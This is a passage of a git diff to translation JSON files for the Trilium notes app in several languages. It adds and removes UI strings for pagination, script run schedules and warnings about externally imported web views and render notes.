"toggle_tooltip_disable_tooltip": "Haga clic para deshabilitar este {{type}}.",
|
||||
"menu_docs": "Abrir documentación",
|
||||
"menu_execute_now": "Ejecutar script ahora",
|
||||
"menu_run": "Ejecutar automáticamente",
|
||||
"menu_run_disabled": "Manualmente",
|
||||
"menu_run_backend_startup": "Cuando el backend inicia",
|
||||
"menu_run_hourly": "Cada hora",
|
||||
"menu_run_daily": "Diariamente",
|
||||
"menu_run_frontend_startup": "Cuando el frontend de escritorio inicia",
|
||||
"menu_run_mobile_startup": "Cuando el frontend móvil inicia",
|
||||
"menu_change_to_widget": "Cambiar a widget",
|
||||
"menu_change_to_frontend_script": "Cambiar a script de frontend",
|
||||
"menu_theme_base": "Tema base"
|
||||
},
|
||||
"setup_form": {
|
||||
"more_info": "Para saber más"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1053,10 +1053,6 @@
|
||||
"default_new_note_title": "nouvelle note",
|
||||
"click_on_canvas_to_place_new_note": "Cliquez sur le canevas pour placer une nouvelle note"
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_1": "Cette note d'aide s'affiche car cette note de type Rendu HTML n'a pas la relation requise pour fonctionner correctement.",
|
||||
"note_detail_render_help_2": "Le type de note Rendu HTML est utilisé pour les <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">scripts</a>. En résumé, vous disposez d'une note de code HTML (éventuellement contenant JavaScript) et cette note affichera le rendu. Pour que cela fonctionne, vous devez définir une <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relation</a> appelée \"renderNote\" pointant vers la note HTML à rendre."
|
||||
},
|
||||
"backend_log": {
|
||||
"refresh": "Rafraîchir"
|
||||
},
|
||||
@@ -2053,7 +2049,6 @@
|
||||
"percentage": "%"
|
||||
},
|
||||
"pagination": {
|
||||
"page_title": "Page de {{startIndex}} - {{endIndex}}",
|
||||
"total_notes": "{{count}} notes"
|
||||
},
|
||||
"collections": {
|
||||
|
||||
@@ -442,7 +442,7 @@
|
||||
"share_index": "liostálfaidh nóta leis an lipéad seo fréamhacha uile nótaí comhroinnte",
|
||||
"display_relations": "Ainmneacha caidrimh scartha le camóga ar cheart iad a thaispeáint. Beidh na cinn eile go léir i bhfolach.",
|
||||
"hide_relations": "Ainmneacha caidrimh scartha le camóga ar cheart iad a cheilt. Taispeánfar na cinn eile go léir.",
|
||||
"title_template": "Teideal réamhshocraithe nótaí a cruthaíodh mar leanaí den nóta seo. Déantar an luach a mheas mar theaghrán JavaScript\n agus dá bhrí sin is féidir é a shaibhriú le hábhar dinimiciúil trí na hathróga <code>now</code> agus <code>parentNote</code> insteallta. Samplaí:\n\n <ul>\n <li><code>Saothair liteartha ${parentNote.getLabelValue('authorName')}</code></li>\n <li><code>Log le haghaidh ${now.format('YYYY-MM-DD HH:mm:ss')}</code></li>\n </ul>\n\nFéach <a href=\"https://triliumnext.github.io/Docs/Wiki/default-note-title.html\">vicí le sonraí</a>, doiciméid API le haghaidh <a href=\"https://zadam.github.io/trilium/backend_api/Note.html\">parentNote</a> agus <a href=\"https://day.js.org/docs/en/display/format\">now</a> le haghaidh sonraí.",
|
||||
"title_template": "teideal réamhshocraithe nótaí a cruthaíodh mar leanaí den nóta seo. Déantar an luach a mheas mar theaghrán JavaScript \n agus dá bhrí sin is féidir é a shaibhriú le hábhar dinimiciúil trí na hathróga <code>now</code> agus <code>parentNote</code> insteallta. Samplaí:\n \n <ul>\n <li><code>Saothair liteartha ${parentNote.getLabelValue('authorName')}</code></li>\n <li><code>Log le haghaidh ${now.format('YYYY-MM-DD HH:mm:ss')}</code></li>\n </ul>\n \n Féach <a href=\"https://triliumnext.github.io/Docs/Wiki/default-note-title.html\">vicí le sonraí</a>, doiciméid API le haghaidh <a href=\"https://zadam.github.io/trilium/backend_api/Note.html\">parentNote</a> agus <a href=\"https://day.js.org/docs/en/display/format\">now</a> le haghaidh sonraí.",
|
||||
"template": "Beidh an nóta seo le feiceáil i roghnú na dteimpléad atá ar fáil agus nóta nua á chruthú",
|
||||
"toc": "Cuirfidh <code>#toc</code> nó <code>#toc=show</code> iallach ar an gClár Ábhair a bheith le feiceáil, cuirfidh <code>#toc=hide</code> iallach air é a cheilt. Mura bhfuil an lipéad ann, breathnaítear ar an socrú domhanda",
|
||||
"color": "sainmhíníonn dath an nóta sa chrann nótaí, snaisc srl. Úsáid aon luach datha CSS bailí cosúil le 'dearg' nó #a13d5f",
|
||||
@@ -1016,7 +1016,7 @@
|
||||
"no_attachments": "Níl aon cheangaltáin leis an nóta seo."
|
||||
},
|
||||
"book": {
|
||||
"no_children_help": "Níl aon nótaí faoi mhíbhuntáiste sa bhailiúchán seo mar sin níl aon rud le taispeáint. Féach ar an <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">vicí</a> le haghaidh tuilleadh sonraí.",
|
||||
"no_children_help": "Níl aon nótaí faoi mhíbhuntáiste sa bhailiúchán seo mar sin níl aon rud le taispeáint.",
|
||||
"drag_locked_title": "Glasáilte le haghaidh eagarthóireachta",
|
||||
"drag_locked_message": "Ní cheadaítear tarraingt ós rud é go bhfuil an bailiúchán faoi ghlas le haghaidh eagarthóireachta."
|
||||
},
|
||||
@@ -1072,10 +1072,6 @@
|
||||
"default_new_note_title": "nóta nua",
|
||||
"click_on_canvas_to_place_new_note": "Cliceáil ar chanbhás chun nóta nua a chur"
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_1": "Taispeántar an nóta cabhrach seo mar nach bhfuil aon ghaol riachtanach ag an nóta seo den chineál Render HTML le go bhfeidhmeoidh sé i gceart.",
|
||||
"note_detail_render_help_2": "Úsáidtear cineál nóta HTML rindreála le haghaidh <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">scriptithe</a>. Go hachomair, tá nóta cóid HTML agat (le roinnt JavaScript más féidir) agus déanfaidh an nóta seo é a rindreáil. Chun go n-oibreoidh sé, ní mór duit <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">gaol</a> ar a dtugtar \"renderNote\" a shainiú ag pointeáil chuig an nóta HTML atá le rindreáil."
|
||||
},
|
||||
"backend_log": {
|
||||
"refresh": "Athnuachan"
|
||||
},
|
||||
@@ -2112,7 +2108,8 @@
|
||||
"raster": "Raster",
|
||||
"vector_light": "Veicteoir (Solas)",
|
||||
"vector_dark": "Veicteoir (Dorcha)",
|
||||
"show-scale": "Taispeáin scála"
|
||||
"show-scale": "Taispeáin scála",
|
||||
"show-labels": "Taispeáin ainmneacha marcóirí"
|
||||
},
|
||||
"table_context_menu": {
|
||||
"delete_row": "Scrios an tsraith"
|
||||
@@ -2191,8 +2188,9 @@
|
||||
"percentage": "%"
|
||||
},
|
||||
"pagination": {
|
||||
"page_title": "Leathanach de {{startIndex}} - {{endIndex}}",
|
||||
"total_notes": "{{count}} nótaí"
|
||||
"total_notes": "{{count}} nótaí",
|
||||
"prev_page": "Leathanach roimhe seo",
|
||||
"next_page": "An chéad leathanach eile"
|
||||
},
|
||||
"collections": {
|
||||
"rendering_error": "Ní féidir ábhar a thaispeáint mar gheall ar earráid."
|
||||
@@ -2332,6 +2330,43 @@
|
||||
"url_placeholder": "Cuir isteach nó greamaigh seoladh an tsuímh ghréasáin, mar shampla https://triliumnotes.org",
|
||||
"create_button": "Cruthaigh Radharc Gréasáin",
|
||||
"invalid_url_title": "Seoladh neamhbhailí",
|
||||
"invalid_url_message": "Cuir isteach seoladh gréasáin bailí, mar shampla https://triliumnotes.org."
|
||||
"invalid_url_message": "Cuir isteach seoladh gréasáin bailí, mar shampla https://triliumnotes.org.",
|
||||
"disabled_description": "Iompórtáladh an radharc gréasáin seo ó fhoinse sheachtrach. Chun cabhrú leat a chosaint ar ábhar fioscaireachta nó mailíseach, níl sé ag lódáil go huathoibríoch. Is féidir leat é a chumasú má tá muinín agat as an bhfoinse.",
|
||||
"disabled_button_enable": "Cumasaigh radharc gréasáin"
|
||||
},
|
||||
"render": {
|
||||
"setup_title": "Taispeáin HTML saincheaptha nó Preact JSX taobh istigh den nóta seo",
|
||||
"setup_create_sample_preact": "Cruthaigh nóta samplach le Preact",
|
||||
"setup_create_sample_html": "Cruthaigh nóta samplach le HTML",
|
||||
"setup_sample_created": "Cruthaíodh nóta samplach mar nóta linbh.",
|
||||
"disabled_description": "Tagann na nótaí rindreála seo ó fhoinse sheachtrach. Chun tú a chosaint ar ábhar mailíseach, níl sé cumasaithe de réir réamhshocraithe. Déan cinnte go bhfuil muinín agat as an bhfoinse sula gcumasaíonn tú é.",
|
||||
"disabled_button_enable": "Cumasaigh nóta rindreála"
|
||||
},
|
||||
"active_content_badges": {
|
||||
"type_icon_pack": "Pacáiste deilbhín",
|
||||
"type_backend_script": "Script chúltaca",
|
||||
"type_frontend_script": "Script tosaigh",
|
||||
"type_widget": "Giuirléid",
|
||||
"type_app_css": "CSS saincheaptha",
|
||||
"type_render_note": "Nóta rindreála",
|
||||
"type_web_view": "Radharc gréasáin",
|
||||
"type_app_theme": "Téama saincheaptha",
|
||||
"toggle_tooltip_enable_tooltip": "Cliceáil chun an {{type}} seo a chumasú.",
|
||||
"toggle_tooltip_disable_tooltip": "Cliceáil chun an {{type}} seo a dhíchumasú.",
|
||||
"menu_docs": "Doiciméadú oscailte",
|
||||
"menu_execute_now": "Rith an script anois",
|
||||
"menu_run": "Rith go huathoibríoch",
|
||||
"menu_run_disabled": "De láimh",
|
||||
"menu_run_backend_startup": "Nuair a thosaíonn an cúltaca",
|
||||
"menu_run_hourly": "Gach uair an chloig",
|
||||
"menu_run_daily": "Laethúil",
|
||||
"menu_run_frontend_startup": "Nuair a thosaíonn tosaigh an deisce",
|
||||
"menu_run_mobile_startup": "Nuair a thosaíonn an taobhlíne soghluaiste",
|
||||
"menu_change_to_widget": "Athraigh go giuirléid",
|
||||
"menu_change_to_frontend_script": "Athraigh chuig an script tosaigh",
|
||||
"menu_theme_base": "Bunús téama"
|
||||
},
|
||||
"setup_form": {
|
||||
"more_info": "Foghlaim níos mó"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -72,7 +72,8 @@
|
||||
"ok": "Oke",
|
||||
"are_you_sure_remove_note": "Apakah anda yakin mau membuang catatan \"{{title}}\" dari peta relasi? ",
|
||||
"if_you_dont_check": "Jika Anda tidak mencentang ini, catatan hanya akan dihapus dari peta relasi.",
|
||||
"also_delete_note": "Hapus juga catatannya"
|
||||
"also_delete_note": "Hapus juga catatannya",
|
||||
"confirmation": "Konfirmasi"
|
||||
},
|
||||
"delete_notes": {
|
||||
"delete_notes_preview": "Hapus pratinjau catatan",
|
||||
@@ -81,11 +82,19 @@
|
||||
"erase_notes_description": "Penghapusan normal hanya menandai catatan sebagai dihapus dan dapat dipulihkan (melalui dialog versi revisi) dalam jangka waktu tertentu. Mencentang opsi ini akan menghapus catatan secara permanen seketika dan catatan tidak akan bisa dipulihkan kembali.",
|
||||
"erase_notes_warning": "Hapus catatan secara permanen (tidak bisa dikembalikan), termasuk semua duplikat. Aksi akan memaksa aplikasi untuk mengulang kembali.",
|
||||
"notes_to_be_deleted": "Catatan-catatan berikut akan dihapuskan ({{notesCount}})",
|
||||
"no_note_to_delete": "Tidak ada Catatan yang akan dihapus (hanya duplikat)."
|
||||
"no_note_to_delete": "Tidak ada Catatan yang akan dihapus (hanya duplikat).",
|
||||
"broken_relations_to_be_deleted": "Hubungan berikut akan diputus dan dihapus ({{ relationCount}})"
|
||||
},
|
||||
"clone_to": {
|
||||
"clone_notes_to": "Duplikat catatan ke…",
|
||||
"help_on_links": "Bantuan pada tautan",
|
||||
"notes_to_clone": "Catatan untuk kloning"
|
||||
"notes_to_clone": "Catatan untuk kloning",
|
||||
"target_parent_note": "Sasaran catatan utama",
|
||||
"search_for_note_by_its_name": "cari catatan berdasarkan namanya",
|
||||
"cloned_note_prefix_title": "Catatan yang dikloning akan ditampilkan diruntutan catatan dengan awalan yang diberikan",
|
||||
"prefix_optional": "Awalan (opsional)",
|
||||
"clone_to_selected_note": "Salin ke catatan yang dipilih",
|
||||
"no_path_to_clone_to": "Tidak ada jalur untuk digandakan.",
|
||||
"note_cloned": "Catatan \"{{clonedTitle}}\" telah digandakan ke dalam \"{{targetTitle}}\""
|
||||
}
|
||||
}
|
||||
|
||||
@@ -167,8 +167,8 @@
|
||||
"desktop-application": "Applicazione Desktop",
|
||||
"native-title-bar": "Barra del titolo nativa",
|
||||
"native-title-bar-description": "Su Windows e macOS, disattivare la barra del titolo nativa rende l'applicazione più compatta. Su Linux, attivarla si integra meglio con il resto del sistema.",
|
||||
"background-effects": "Abilita effetti di sfondo (solo Windows 11)",
|
||||
"background-effects-description": "L'effetto Mica aggiunge uno sfondo sfocato ed elegante alle finestre delle app, creando profondità e un aspetto moderno. La \"Barra del titolo nativa\" deve essere disattivata.",
|
||||
"background-effects": "Abilita effetti di sfondo",
|
||||
"background-effects-description": "Aggiunge uno sfondo sfocato ed elegante alle finestre dell'app, creando profondità e un look moderno. La \"barra del titolo nativa\" deve essere disabilitata.",
|
||||
"restart-app-button": "Riavviare l'applicazione per visualizzare le modifiche"
|
||||
},
|
||||
"note_autocomplete": {
|
||||
@@ -369,7 +369,8 @@
|
||||
"description": "Descrizione",
|
||||
"reload_app": "Ricarica l'app per applicare le modifiche",
|
||||
"set_all_to_default": "Imposta tutte le scorciatoie sui valori predefiniti",
|
||||
"confirm_reset": "Vuoi davvero ripristinare tutte le scorciatoie da tastiera ai valori predefiniti?"
|
||||
"confirm_reset": "Vuoi davvero ripristinare tutte le scorciatoie da tastiera ai valori predefiniti?",
|
||||
"no_results": "Nessuna scorciatoia trovata corrispondente '{{filter}}'"
|
||||
},
|
||||
"shared_switch": {
|
||||
"toggle-on-title": "Condividi la nota",
|
||||
@@ -1327,7 +1328,7 @@
|
||||
"button_title": "Esporta diagramma come SVG"
|
||||
},
|
||||
"relation_map_buttons": {
|
||||
"create_child_note_title": "Crea una nuova nota secondaria e aggiungila a questa mappa delle relazioni",
|
||||
"create_child_note_title": "Crea una nota secondaria e aggiungila alla mappa",
|
||||
"reset_pan_zoom_title": "Ripristina panoramica e zoom alle coordinate e all'ingrandimento iniziali",
|
||||
"zoom_in_title": "Ingrandisci",
|
||||
"zoom_out_title": "Rimpicciolisci"
|
||||
@@ -1526,7 +1527,7 @@
|
||||
"no_attachments": "Questa nota non ha allegati."
|
||||
},
|
||||
"book": {
|
||||
"no_children_help": "Questa raccolta non ha note secondarie, quindi non c'è nulla da visualizzare. Consulta la <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a> per i dettagli.",
|
||||
"no_children_help": "Questa raccolta non ha note secondarie, quindi non c'è nulla da visualizzare.",
|
||||
"drag_locked_title": "Bloccato per la modifica",
|
||||
"drag_locked_message": "Trascinamento non consentito poiché la raccolta è bloccata per la modifica."
|
||||
},
|
||||
@@ -1582,10 +1583,6 @@
|
||||
"default_new_note_title": "nuova nota",
|
||||
"click_on_canvas_to_place_new_note": "Clicca sulla tela per inserire una nuova nota"
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_1": "Questa nota di aiuto viene visualizzata perché questa nota di tipo Render HTML non ha la relazione richiesta per funzionare correttamente.",
|
||||
"note_detail_render_help_2": "Il tipo di nota HTML Render viene utilizzato per lo <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">scripting</a>. In breve, si ottiene una nota in codice HTML (opzionalmente con un po' di JavaScript) che verrà visualizzata. Per farla funzionare, è necessario definire una <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relazione</a> denominata \"renderNote\" che punti alla nota HTML da visualizzare."
|
||||
},
|
||||
"vacuum_database": {
|
||||
"title": "Pulizia del database",
|
||||
"description": "Questa operazione ricostruirà il database, generando in genere un file di dimensioni inferiori. In realtà, nessun dato verrà modificato.",
|
||||
@@ -1923,7 +1920,9 @@
|
||||
"print_report_collection_content_many": "{{count}} le note nella raccolta non possono essere stampate perché non sono supportate o sono protette.",
|
||||
"print_report_collection_content_other": "{{count}} le note nella raccolta non possono essere stampate perché non sono supportate o sono protette.",
|
||||
"print_report_collection_details_button": "Vedi dettagli",
|
||||
"print_report_collection_details_ignored_notes": "Note ignorate"
|
||||
"print_report_collection_details_ignored_notes": "Note ignorate",
|
||||
"print_report_error_title": "Impossibile stampare",
|
||||
"print_report_stack_trace": "Traccia dello stack"
|
||||
},
|
||||
"note_title": {
|
||||
"placeholder": "scrivi qui il titolo della nota...",
|
||||
@@ -2110,7 +2109,8 @@
|
||||
"raster": "Trama",
|
||||
"vector_light": "Vettore (Luce)",
|
||||
"vector_dark": "Vettore (scuro)",
|
||||
"show-scale": "Mostra scala"
|
||||
"show-scale": "Mostra scala",
|
||||
"show-labels": "Mostra nomi dei marcatori"
|
||||
},
|
||||
"table_context_menu": {
|
||||
"delete_row": "Elimina riga"
|
||||
@@ -2143,7 +2143,7 @@
|
||||
"next_theme_message": "Al momento stai utilizzando il tema legacy. Vuoi provare il nuovo tema?",
|
||||
"next_theme_button": "Prova il nuovo tema",
|
||||
"background_effects_title": "Gli effetti di sfondo sono ora stabili",
|
||||
"background_effects_message": "Sui dispositivi Windows, gli effetti di sfondo sono ora completamente stabili. Gli effetti di sfondo aggiungono un tocco di colore all'interfaccia utente sfocando lo sfondo retrostante. Questa tecnica è utilizzata anche in altre applicazioni come Esplora risorse di Windows.",
|
||||
"background_effects_message": "Su dispositivi Windows e macOS, gli effetti di sfondo sono ora stabili. Gli effetti di sfondo aggiungono un tocco di colore all'interfaccia utente sfocando lo sfondo dietro di essa.",
|
||||
"background_effects_button": "Abilita gli effetti di sfondo",
|
||||
"dismiss": "Chiudi",
|
||||
"new_layout_title": "Nuovo layout",
|
||||
@@ -2164,7 +2164,6 @@
|
||||
"percentage": "%"
|
||||
},
|
||||
"pagination": {
|
||||
"page_title": "Pagina di {{startIndex}} - {{endIndex}}",
|
||||
"total_notes": "{{count}} note"
|
||||
},
|
||||
"collections": {
|
||||
@@ -2287,7 +2286,9 @@
|
||||
"url_placeholder": "Inserisci o incolla l'indirizzo del sito web, ad esempio https://triliumnotes.org",
|
||||
"create_button": "Crea vista Web",
|
||||
"invalid_url_title": "Indirizzo non valido",
|
||||
"invalid_url_message": "Inserisci un indirizzo web valido, ad esempio https://triliumnotes.org."
|
||||
"invalid_url_message": "Inserisci un indirizzo web valido, ad esempio https://triliumnotes.org.",
|
||||
"disabled_description": "Questa visualizzazione web è stata importata da una fonte esterna. Per proteggerti dal phishing o da contenuti dannosi, non viene caricata automaticamente. Puoi abilitarla se ritieni che la fonte sia affidabile.",
|
||||
"disabled_button_enable": "Abilita visualizzazione web"
|
||||
},
|
||||
"platform_indicator": {
|
||||
"available_on": "Disponibile su {{platform}}"
|
||||
@@ -2300,5 +2301,40 @@
|
||||
},
|
||||
"bookmark_buttons": {
|
||||
"bookmarks": "Segnalibri"
|
||||
},
|
||||
"render": {
|
||||
"setup_title": "Visualizza HTML personalizzato o Preact JSX all'interno di questa nota",
|
||||
"setup_create_sample_preact": "Crea una nota di esempio con Preact",
|
||||
"setup_create_sample_html": "Crea una nota di esempio con HTML",
|
||||
"setup_sample_created": "È stata creata una nota di esempio come nota secondaria.",
|
||||
"disabled_description": "Queste note di rendering provengono da una fonte esterna. Per proteggerti da contenuti dannosi, non sono abilitate per impostazione predefinita. Assicurati di fidarti della fonte prima di abilitarle.",
|
||||
"disabled_button_enable": "Abilita nota di rendering"
|
||||
},
|
||||
"active_content_badges": {
|
||||
"type_icon_pack": "Pacchetto icone",
|
||||
"type_backend_script": "Script di backend",
|
||||
"type_frontend_script": "Script frontend",
|
||||
"type_widget": "Widget",
|
||||
"type_app_css": "CSS personalizzato",
|
||||
"type_render_note": "Nota di rendering",
|
||||
"type_web_view": "Visualizzazione web",
|
||||
"type_app_theme": "Tema personalizzato",
|
||||
"toggle_tooltip_enable_tooltip": "Clicca per abilitare questa funzione {{type}}.",
|
||||
"toggle_tooltip_disable_tooltip": "Clicca per disattivare questa funzione {{type}}.",
|
||||
"menu_docs": "Documentazione aperta",
|
||||
"menu_execute_now": "Esegui lo script ora",
|
||||
"menu_run": "Esegui automaticamente",
|
||||
"menu_run_disabled": "Manualmente",
|
||||
"menu_run_backend_startup": "Quando il backend si avvia",
|
||||
"menu_run_hourly": "Ogni ora",
|
||||
"menu_run_daily": "Giornaliero",
|
||||
"menu_run_frontend_startup": "Quando si avvia il frontend desktop",
|
||||
"menu_run_mobile_startup": "Quando si avvia il frontend mobile",
|
||||
"menu_change_to_widget": "Passa al widget",
|
||||
"menu_change_to_frontend_script": "Modifica allo script frontend",
|
||||
"menu_theme_base": "Tema base"
|
||||
},
|
||||
"setup_form": {
|
||||
"more_info": "Per saperne di più"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1860,10 +1860,6 @@
|
||||
"protecting-title": "保護の状態",
|
||||
"unprotecting-title": "保護解除の状態"
|
||||
},
|
||||
"render": {
|
||||
"note_detail_render_help_1": "このヘルプノートが表示されるのは、このノートの「HTML のレンダリング」タイプには、正常に機能するために必要なリレーションがないためです。",
|
||||
"note_detail_render_help_2": "レンダリングHTMLノートタイプは、<a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">スクリプティング</a>に使用されます。簡単に言うと、HTMLコードノート(オプションでJavaScriptを含む)があり、このノートがそれをレンダリングします。これを動作させるには、レンダリングするHTMLノートを指す「renderNote」という<a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">リレーション</a>を定義する必要があります。"
|
||||
},
|
||||
"consistency_checks": {
|
||||
"find_and_fix_button": "一貫性の問題を見つけて修正する",
|
||||
"finding_and_fixing_message": "一貫性の問題を見つけて修正中…",
|
||||
@@ -2040,7 +2036,8 @@
|
||||
"show-scale": "スケールを表示",
|
||||
"raster": "Raster",
|
||||
"vector_light": "Vector(ライト)",
|
||||
"vector_dark": "Vector (ダーク)"
|
||||
"vector_dark": "Vector (ダーク)",
|
||||
"show-labels": "マーカー名を表示"
|
||||
},
|
||||
"call_to_action": {
|
||||
"next_theme_title": "新しいTriliumテーマをお試しください",
|
||||
@@ -2068,8 +2065,9 @@
|
||||
"percentage": "%"
|
||||
},
|
||||
"pagination": {
|
||||
"page_title": "{{startIndex}} - {{endIndex}} ページ",
|
||||
"total_notes": "{{count}} ノート"
|
||||
"total_notes": "{{count}} ノート",
|
||||
"prev_page": "前のページ",
|
||||
"next_page": "次のページ"
|
||||
},
|
||||
"collections": {
|
||||
"rendering_error": "エラーのためコンテンツを表示できません。"
|
||||
@@ -2097,7 +2095,7 @@
|
||||
"no_attachments": "このノートには添付ファイルはありません。"
|
||||
},
|
||||
"book": {
|
||||
"no_children_help": "このコレクションには子ノートがないため、表示するものがありません。詳細は<a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a>をご覧ください。",
|
||||
"no_children_help": "このコレクションには子ノートがないため、表示するものがありません。",
|
||||
"drag_locked_title": "編集をロック中",
|
||||
"drag_locked_message": "コレクションは編集がロックされているため、ドラッグは許可されていません。"
|
||||
},
|
||||
@@ -2272,6 +2270,43 @@
|
||||
"url_placeholder": "Web サイトのアドレスを入力または貼り付けて下さい。 例: https://triliumnotes.org",
|
||||
"create_button": "Web ビューを作成",
|
||||
"invalid_url_title": "無効なアドレス",
|
||||
"invalid_url_message": "有効な Web アドレスを入力してください。 例: https://triliumnotes.org"
|
||||
"invalid_url_message": "有効な Web アドレスを入力してください。 例: https://triliumnotes.org",
|
||||
"disabled_description": "この Web ビューは外部ソースからインポートされました。フィッシングや悪意のあるコンテンツから保護するため、自動的には読み込まれません。ソースを信頼できる場合は、有効にすることができます。",
|
||||
"disabled_button_enable": "Web ビューを有効"
|
||||
},
|
||||
"render": {
|
||||
"setup_title": "このノート内にカスタム HTML または Preact JSX を表示",
|
||||
"setup_create_sample_preact": "Preact でサンプルノートを作成",
|
||||
"setup_create_sample_html": "HTML でサンプルノートを作成",
|
||||
"setup_sample_created": "子ノートとしてサンプルノートが作成されました。",
|
||||
"disabled_description": "このレンダリングノートは外部ソースから提供されています。悪意のあるコンテンツからユーザーを保護するため、デフォルトでは有効になっていません。有効にする前に、ソースが信頼できるかどうかをご確認ください。",
|
||||
"disabled_button_enable": "レンダリングノートを有効"
|
||||
},
|
||||
"active_content_badges": {
|
||||
"type_icon_pack": "アイコンパック",
|
||||
"type_backend_script": "バックエンドスクリプト",
|
||||
"type_frontend_script": "フロントエンドスクリプト",
|
||||
"type_widget": "ウィジェット",
|
||||
"type_app_css": "カスタム CSS",
|
||||
"type_render_note": "レンダリングノート",
|
||||
"type_web_view": "Web ビュー",
|
||||
"type_app_theme": "カスタムテーマ",
|
||||
"toggle_tooltip_enable_tooltip": "この {{type}} を有効にするにはクリックしてください。",
|
||||
"toggle_tooltip_disable_tooltip": "この {{type}} を無効にするにはクリックしてください。",
|
||||
"menu_docs": "ドキュメントを開く",
|
||||
"menu_execute_now": "今すぐスクリプトを実行",
|
||||
"menu_run": "自動で実行",
|
||||
"menu_run_disabled": "手動で実行",
|
||||
"menu_run_backend_startup": "バックエンドの起動時",
|
||||
"menu_run_hourly": "毎時",
|
||||
"menu_run_daily": "毎日",
|
||||
"menu_run_frontend_startup": "デスクトップ フロントエンドの起動時",
|
||||
"menu_run_mobile_startup": "モバイル フロントエンドの起動時",
|
||||
"menu_change_to_widget": "ウィジェットの変更",
|
||||
"menu_change_to_frontend_script": "フロントエンドスクリプトの変更",
|
||||
"menu_theme_base": "テーマベース"
|
||||
},
|
||||
"setup_form": {
|
||||
"more_info": "さらに詳しく"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -21,8 +21,17 @@
|
||||
},
|
||||
"bundle-error": {
|
||||
"title": "사용자 정의 스크립트를 불러오는데 실패했습니다",
|
||||
"message": "ID가 \"{{id}}\"고, 제목이 \"{{title}}\"인 노트에서 스크립트가 실행되지 못했습니다:\n\n{{message}}"
|
||||
}
|
||||
"message": "다음 이유로 인해 스크립트가 실행되지 못했습니다:\n\n{{message}}"
|
||||
},
|
||||
"widget-list-error": {
|
||||
"title": "서버에서 위젯 목록을 가져오는 데 실패했습니다"
|
||||
},
|
||||
"widget-render-error": {
|
||||
"title": "사용자 정의 React 위젯을 렌더링하는 데 실패했습니다"
|
||||
},
|
||||
"widget-missing-parent": "사용자 정의 위젯에 필수 속성 '{{property}}'가 정의되어 있지 않습니다.\n\n이 스크립트를 UI 요소 없이 실행하려면 '#run=frontendStartup'을 대신 사용하십시오.",
|
||||
"open-script-note": "스크립트 노트 열기",
|
||||
"scripting-error": "사용자 지정 스크립트 오류: {{title}}"
|
||||
},
|
||||
"add_link": {
|
||||
"add_link": "링크 추가",
|
||||
@@ -41,7 +50,8 @@
|
||||
"prefix": "접두사: ",
|
||||
"branch_prefix_saved": "브랜치 접두사가 저장되었습니다.",
|
||||
"edit_branch_prefix_multiple": "{{count}}개의 지점 접두사 편집",
|
||||
"branch_prefix_saved_multiple": "{{count}}개의 지점에 대해 지점 접두사가 저장되었습니다."
|
||||
"branch_prefix_saved_multiple": "{{count}}개의 지점에 대해 지점 접두사가 저장되었습니다.",
|
||||
"affected_branches": "영향을 받는 브랜치 수 ({{count}}):"
|
||||
},
|
||||
"bulk_actions": {
|
||||
"bulk_actions": "대량 작업",
|
||||
@@ -64,10 +74,44 @@
|
||||
"first-week-contains-first-day": "첫 번째 주에는 올해의 첫날이 포함됩니다"
|
||||
},
|
||||
"clone_to": {
|
||||
"clone_notes_to": "~로 노트 복제",
|
||||
"clone_notes_to": "노트 클론하기...",
|
||||
"help_on_links": "링크에 대한 도움말",
|
||||
"notes_to_clone": "노트 클론 생성",
|
||||
"target_parent_note": "부모 노트 타겟",
|
||||
"search_for_note_by_its_name": "이름으로 노트 검색하기"
|
||||
"search_for_note_by_its_name": "이름으로 노트 검색하기",
|
||||
"no_path_to_clone_to": "클론할 경로가 존재하지 않습니다.",
|
||||
"note_cloned": "노트 \"{{clonedTitle}}\"이(가) \"{{targetTitle}}\"로 클론되었습니다",
|
||||
"cloned_note_prefix_title": "클론된 노트는 지정된 접두사와 함께 노트 트리에 표시됩니다"
|
||||
},
|
||||
"confirm": {
|
||||
"confirmation": "확인",
|
||||
"cancel": "취소",
|
||||
"ok": "OK",
|
||||
"are_you_sure_remove_note": "관계 맵에서 \"{{title}}\" 노트를 정말로 제거하시겠습니까? "
|
||||
},
|
||||
"delete_notes": {
|
||||
"erase_notes_description": "일반(소프트) 삭제는 메모를 삭제된 것으로 표시하는 것일 뿐이며, 일정 시간 동안 (최근 변경 내용 대화 상자에서) 복구할 수 있습니다. 이 옵션을 선택하면 메모가 즉시 삭제되며 복구할 수 없습니다.",
|
||||
"erase_notes_warning": "모든 복제본을 포함하여 메모를 영구적으로 삭제합니다(이 작업은 되돌릴 수 없습니다). 애플리케이션이 다시 시작됩니다.",
|
||||
"notes_to_be_deleted": "다음 노트가 삭제됩니다 ({{notesCount}})",
|
||||
"no_note_to_delete": "삭제되는 노트가 없습니다 (클론만 삭제됩니다).",
|
||||
"broken_relations_to_be_deleted": "다음 관계가 끊어지고 삭제됩니다({{ relationCount}})",
|
||||
"cancel": "취소",
|
||||
"ok": "OK",
|
||||
"deleted_relation_text": "삭제 예정인 노트 {{- note}} (은)는 {{- source}}에서 시작된 관계 {{- relation}}에 의해 참조되고 있습니다."
|
||||
},
|
||||
"export": {
|
||||
"export_note_title": "노트 내보내기",
|
||||
"export_type_single": "이 노트에만 해당(후손 노트를 포함하지 않음)",
|
||||
"export": "내보내기",
|
||||
"choose_export_type": "내보내기 타입을 선택해 주세요",
|
||||
"export_status": "상태 내보내기",
|
||||
